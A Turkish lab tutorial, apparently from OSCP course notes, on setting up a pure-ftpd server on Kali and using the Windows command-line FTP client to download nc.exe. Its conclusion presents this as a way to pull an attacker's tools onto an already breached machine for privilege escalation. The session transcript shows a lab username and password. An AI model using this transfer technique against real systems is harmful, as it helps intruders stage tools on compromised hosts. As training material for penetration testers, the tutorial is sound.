

FTP ile Windows'a Linux'taki Bir Dosyayı İndirme

(+) Birebir uygulanmıştır ve başarıyla gerçekleştirilmiştir.

FTP ile Windows'a Linux'taki bir dosyayı indirmek için Windows client Linux server olacaktır. Windows 7 ve 2008 sonrası windows sistemlerde ftp client varsayılan olarak yer aldığından client tarafında bir işlem yapmamıza gerek yoktur. Fakat linux tarafında server kurulumu için birkaç işlem yapmamız gerekmektedir.

Gereksinimler

- Windows 7 Home Premium [FTP Client]
- Kali (Eski) // 1.0.4 [FTP Server]

Kali'ye ftp server kurulumu için aşağıdaki komutu girelim:

Kali (Eski) Konsol:

```
> apt-get update && apt-get install pure-ftpd
```

Ardından Kali'de aşağıdaki gibi bir script oluşturalım ve çalıştıralım:

Kali (Eski) 'de setup-ftp.sh script'i:

```
#!/bin/bash

groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```

Not: offsec ftp username'i olmuştur.

Kali (Eski) Konsol:

```
> ./setup.ftp.sh
```

Output:

```
Password: // tuzlucayir  
Enter it again: // tuzlucayir  
Restarting ftp server: Running: /usr/sbin/pure-ftpd -l puredb:/etc/pure-  
ftpd/pureftpd.pdb -l pam -O clf:/var/log/pure-ftpd/transfer.log -8 UTF-8 -E -u  
1000 -J ALL:!aNULL:!SSLv3 -B
```

Son olarak ftp home dizinine istemciler indirebilsin diye nc.exe dosyasını kopyalayalım.

Kali (Eski) Konsol:

```
> cp /usr/share/windows-binaries/nc.exe /ftphome/
```

Böylelikle ftp sunucusu kullanıma hazırdır. Şimdi Windows 7 sanal makinesinden Kali'deki ftp sunucusuna bağlanalım ve Kali'deki sunucuda yer alan dosyayı windows sistemine indirelim.

Windows 7 Konsol:

```
C:\users\hefese > ftp  
ftp > open 172.16.3.89 // Kali IP'si  
Connected to 172.16.3.89  
220-----Welcome to Pure-FTPd [privsep] [TLS] -----  
220-You are user number 1 of 50 allowed.  
220-Local time is now 15:06. Server port: 21.  
220-This is a private system – No anonymous login  
220-IPv6 connections are also welcome on this server.  
220-You will be disconnected after 15 minutes of inactivity.  
User (172.16.3.89:(none)): offsec // FTP username  
331 User offsec OK. Password required  
Password: // tuzlucayir // FTP password  
230 OK. Current directory is /  
ftp > bin  
200 TYPE is now 8-bit binary.  
ftp > GET nc.exe  
200 PORT command successful  
150-Connecting to port 49181  
150 58.0 kbytes to download  
226-File successfully transferred  
226 0.001 seconds (measured here), 45.86 Mbytes per second  
ftp: 59392 bytes received in 0.00 59392000.00Kbytes/sec  
ftp > bye  
221-Goodbye. You uploaded 0 and downloaded 58 kbytes.  
221 Logout.
```

Not: open 172.16.3.89 komutu ilk denemede çalışmazsa bye de ve birkaç kere daha dene. Sonraki denemelerde işe yarıyor ya da ilk denemede de çalışabilir.
Not 2: Kalın olan kodlar input'lardır.

Böylelikle nc.exe dosyası Kali'den Windows kullanıcı dizinine (C:\Users\hefese dizinine) inecektir.

C:\Users\hefese dizini:

Desktop
Downloads
My Documents
My Music
My Videos
Contacts
Saved Games
Links
nc

Sonuç olarak ftp client'ları Windows 7 ve 2008 sonrası windows sistemlerde varsayılan olarak yer aldığından dolayı bu sistemlere sızıldığı vakit sızılan sistemin komut satırından ftp client'ı kullanılarak kendi makinamızdaki dosyaları sızılan sisteme indirebiliriz. Böylelikle hak yükseltme gibi çeşitli işlemler yapabiliriz.

Kaynaklar

Penetration Testing With Kali Linux.pdf, Yaz Tatili 2014 / Tubitak / OSCP / Resmi Belgeler / , syf. 199